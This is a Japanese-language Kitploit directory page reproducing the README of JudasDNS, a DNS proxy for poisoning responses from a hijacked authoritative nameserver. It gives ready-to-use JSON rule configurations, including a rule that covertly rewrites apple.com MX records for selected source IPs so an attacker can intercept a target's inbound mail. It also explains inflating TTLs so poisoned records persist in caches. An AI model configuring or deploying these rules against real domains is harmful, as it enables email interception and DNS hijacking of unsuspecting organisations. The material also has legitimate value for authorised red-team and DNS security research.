Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
JudasDNS — ネームサーバーDNSポイズニング攻撃を簡単に | Kitploit
ツール/GitHubGitHub/mandatoryprogrammer/judasdns
エクスプロイトペネトレーションテストDNSファジングレッドチーミングDNS分析
GitHubmandatoryprogrammer/judasdns

JudasDNS

ネームサーバーDNSポイズニング攻撃を簡単に

リポジトリを見る
526929年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Judas DNS

root@kitploit:~
                                                   
                          ,,                                                        
   `7MMF'               `7MM                       `7MM"""Yb. `7MN.   `7MF'.M"""bgd 
     MM                   MM                         MM    `Yb. MMN.    M ,MI    "Y 
     MM `7MM  `7MM   ,M""bMM   ,6"Yb.  ,pP"Ybd       MM     `Mb M YMb   M `MMb.     
     MM   MM    MM ,AP    MM  8)   MM  8I   `"       MM      MM M  `MN. M   `YMMNq. 
     MM   MM    MM 8MI    MM   ,pm9MM  `YMMMa.       MM     ,MP M   `MM.M .     `MM 
(O)  MM   MM    MM `Mb    MM  8M   MM  L.   I8       MM    ,dP' M     YMM Mb     dM 
 Ymmm9    `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP'     .JMMmmmdP' .JML.    YM P"Ybmmd"  

                                         ネームサーバDNSポイズニング攻撃を簡単に

乗っ取ったネームサーバの代わりに展開するよう設計されたDNSプロキシサーバで、標的型の悪用を可能にします。JudasはすべてのDNSクエリをドメインの正規ネームサーバにプロキシします。Judasのルール設定によって、送信元IPやDNSクエリタイプに応じてDNS応答を変更できるのが強みです。これにより攻撃者は、特定の送信元IP範囲からのインバウンドメールを(MXレコードの変更によって)選択的に再ルーティングしたり、ポイズニングしたレコードをキャッシュに長く残すために極端に長いTTLを設定したり、その他の操作が可能な悪意のあるネームサーバを構成できます。

ネームサーバを乗っ取るには?

ネームサーバの乗っ取りとDNSハイジャックの詳細については、次のブログ記事をご覧ください:「Respect My Authority – Hijacking Broken Nameservers to Compromise Your Target」。

設定例

以下は、攻撃者がAppleの権威ネームサーバ(apple.com 用)の1つを侵害/乗っ取った場合のJudasの設定例です。

root@kitploit:~
{
    "version": "1.0.0",
    "port": 2248,
    "dns_query_timeout": 10000,
    "target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
    "rules": [
        {
            "name": "127.0.0.1からのすべてのメールを秘密裏にリダイレクト!",
            "query_type_matches": [ "MX" ],
            "ip_range_matches": [ "127.0.0.1/32" ],
            "modifications": [
                {
                    "answer": [
                        {
                            "name": "apple.com",
                            "type": 15,
                            "class": 1,
                            "ttl": 10,
                            "priority": 10,
                            "exchange": "hacktheplace.localhost"
                        }
                    ]
                }
            ]
        },
        {
            "name": "失敗してもすべての応答をNOERRORにする。",
            "query_type_matches": [ "*" ],
            "modifications": [
                {
                    "header": {
                        "rcode": 0
                    }
                }
            ]
        }
    ]
}

上記の各設定値の目的は次のとおりです。

  • version: 設定ファイルのフォーマットバージョン(現時点では常に 1.0.0)。
  • port: Judasが使用するポート。
  • dns_query_timeout: 上流のターゲットネームサーバからの応答を待つ最大時間(ミリ秒)。
  • target_nameservers: ターゲットドメインの正規ネームサーバ。JudasはすべてのDNSクエリをここに送信します(要求元クライアントの代わりに)。
  • rules: 一致した場合にDNS応答に変更を適用するルールのリスト。
    • name: ルールの名前。
    • query_type_matches: 一致させるクエリタイプのリスト(例:CNAME、A など)。ワイルドカード(*)を指定すると、すべてのクエリタイプに一致します。
    • ip_range_matches: 一致させるIP範囲のリスト。特定のIP範囲に対する応答を選択的に偽装するために使用します。
    • modifications: このREADMEの「変更」セクションを参照してください。

変更

Judasのルールには modifications 指定があり、クライアントに応答を返す前にDNS応答に施すさまざまな変更のリストとして設定します。DNS応答構造を理解して変更できるよう、node-dnsのドキュメントを読むことが重要です。

DNS応答フォーマットの例は次のとおりです。

root@kitploit:~
{ header: 
   { id: 25373,
     qr: 1,
     opcode: 0,
     aa: 1,
     tc: 0,
     rd: 1,
     ra: 0,
     res1: 0,
     res2: 0,
     res3: 0,
     rcode: 5 },
  question: [ { name: 'apple.com', type: 2, class: 1 } ],
  answer: 
   [ { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver4.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver3.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver5.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'nserver6.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns2.apple.com' },
     { name: 'apple.com',
       type: 2,
       class: 1,
       ttl: 86400,
       data: 'adns1.apple.com' } ],
  authority: [],
  additional: [],
  edns_options: [],
  payload: undefined,
  address: undefined,
...簡略化のため省略...

(DNS応答データ構造の詳細については、このドキュメントを参照してください。)

変更の記述は非常に簡単です。以下に変更を含むルールの例を示します。

root@kitploit:~
{
  "name": "失敗してもすべての応答をNOERRORにする。",
  "query_type_matches": [ "*" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

このルールは、任意のクエリタイプに一致し(ワイルドカード * による)、DNS応答の header.rcode 値を 0 に設定します。変更要素として設定されたオブジェクトはDNS応答にマージされ、元の値を置き換えます。

もう1つの例を以下に示します。

root@kitploit:~
{
  "name": "127.0.0.1からのすべてのメールを秘密裏にリダイレクト!",
  "query_type_matches": [ "MX" ],
  "ip_range_matches": [ "127.0.0.1/32" ],
  "modifications": [
    {
      "answer": [
        {
          "name": "apple.com",
          "type": 15,
          "class": 1,
          "ttl": 10,
          "priority": 10,
          "exchange": "hacktheplace.localhost"
        }
      ]
    }
  ]
}

このルールは 127.0.0.1 からの MX クエリに一致します。DNS応答のanswerは hacktheplace.localhost の単一のMXレコードで上書きされます。実際の悪用では、特定のIPからのインバウンドメールをリダイレクトして、ターゲットのプライベートメールを読み取るために使用します。また、実際のシナリオでは、攻撃者は応答のTTLを非常に高い値に変更して、悪意のあるレコードをクライアントのDNSキャッシュに可能な限り長く保持させることもあります。

ルールの一致タイプ

要求元IP

次のルールはクライアントのIPアドレスに一致します。

root@kitploit:~
{
  "name": "localhost (127.0.0.1) からのすべての応答をNOERRORにする。",
  "ip_range_matches": [ "127.0.0.1/32" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

ip_range_matches フィールドには、応答変更を適用する対象範囲を指定するIP範囲の配列を設定します。このフィールドを省略するとワイルドカードと等価になり、すべてのクライアントIPアドレスに一致します。

クエリタイプ

次のルールは MX および CNAME のクエリタイプに一致し、それに応じて応答変更を適用します。

root@kitploit:~
{
  "name": "失敗してもすべての応答をNOERRORにする。",
  "query_type_matches": [ "MX", "CNAME" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

query_type_matches フィールドには、一致させるクエリタイプの配列を設定します。このフィールドを省略するとワイルドカードと等価になり、すべてのクエリタイプに一致します。

応答ステータスコード

次のルールは NXDOMAIN の応答コードに一致し、それに応じて応答変更を適用します。

root@kitploit:~
{
  "name": "localhost (127.0.0.1) からのすべての応答をNOERRORにする。",
  "response_code_matches": [ "NXDOMAIN" ],
  "modifications": [
    {
      "header": {
        "rcode": 0
      }
    }
  ]
}

response_code_matches フィールドには、一致させる応答コードの配列を設定します。このフィールドを省略するとワイルドカードと等価になり、すべてのRCODEタイプに一致します。

ツールをダウンロード